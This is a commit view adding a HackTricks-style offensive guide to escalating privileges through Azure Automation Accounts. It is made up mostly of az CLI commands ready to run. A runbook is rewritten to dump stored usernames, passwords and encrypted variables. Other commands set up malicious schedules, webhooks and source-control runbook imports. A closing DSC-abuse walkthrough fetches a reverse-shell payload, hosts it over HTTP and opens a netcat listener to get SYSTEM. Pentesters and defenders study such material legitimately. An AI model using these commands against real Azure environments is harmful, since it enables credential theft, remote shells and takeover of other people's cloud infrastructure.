fix ec2 + automation accounts

This commit is contained in:
Carlos Polop
2025-01-10 12:59:11 +01:00
parent 6d926a6f72
commit d9f6b34673
7 changed files with 513 additions and 258 deletions

View File

@@ -0,0 +1,272 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Fore more information check:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
As summary these permissions allow to **create, modify and run Runbooks** in the Automation Account which you could use to **execute code** in the context of the Automation Account and escalate privileges to the assigned **Managed Identities** and leak **credentials** and **encrypted variables** stored in the Automation Account.
The permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** allows to modify the code of a Runbook in the Automation Account using:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Note how the previous script can be used to **leak the useranmd and password** of a credential and the value of an **encrypted variable** stored in the Automation Account.
The permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** allows the user to publish a Runbook in the Automation Account using so the changes are applied:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
The permission **`Microsoft.Automation/automationAccounts/jobs/write`** allows the user to run a Runbook in the Automation Account using:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
The permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** allows the user to read the output of a job in the Automation Account using:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
If there aren't Runbooks created, or ou want to create a new one, you will need the **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** to do it using:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
This permission allows the user to **assign a user managed identity** to the Automation Account using:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
With the permission **`Microsoft.Automation/automationAccounts/schedules/write`** it's possible to create a new Schedule in the Automation Account that is executed every 15 minutes (not very stealth) using the following command.
Note that the **minimum interval for a schedule is 15 minutes**, and the **minimum start time is 5 minutes** in the future.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> In the previous example the jobchedule id was left as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** but you will need to use an arbitrary value to create this assignemnt.
### `Microsoft.Automation/automationAccounts/webhooks/write`
With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.
Note that you will need to **indicate webhook URI** with the token to use.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Just with the permission `Microsoft.Automation/automationAccounts/runbooks/draft/write` it's possible to **update the code of a Runbook** without publishing it and run it using the following commands.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
This permission allows the user to **configure a source control** for the Automation Account using a commands such as the following (this uses Github as example):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
Moreiver, remember that four source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity this can be configured also by setting in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** the **client id** of the user managed identity to use.
> [!TIP]
> Note that it's not possible to change the repo URL of a source control once it's created.
### Custom Runtime Environments
If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
### Compromising State Configuration
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
**Files Required:** Two PowerShell scripts are needed:
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
- Step 2 — Zip Configuration File
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Step 3 — Set Storage Context & Upload
The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Step 4 — Prep Kali Box
The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
The script is edited to specify the target Windows VM and port for the reverse shell.
- Step 5 — Publish Configuration File
The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
- Step 6 — Host Payload and Setup Listener
A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
The scheduled task executes the payload, achieving SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}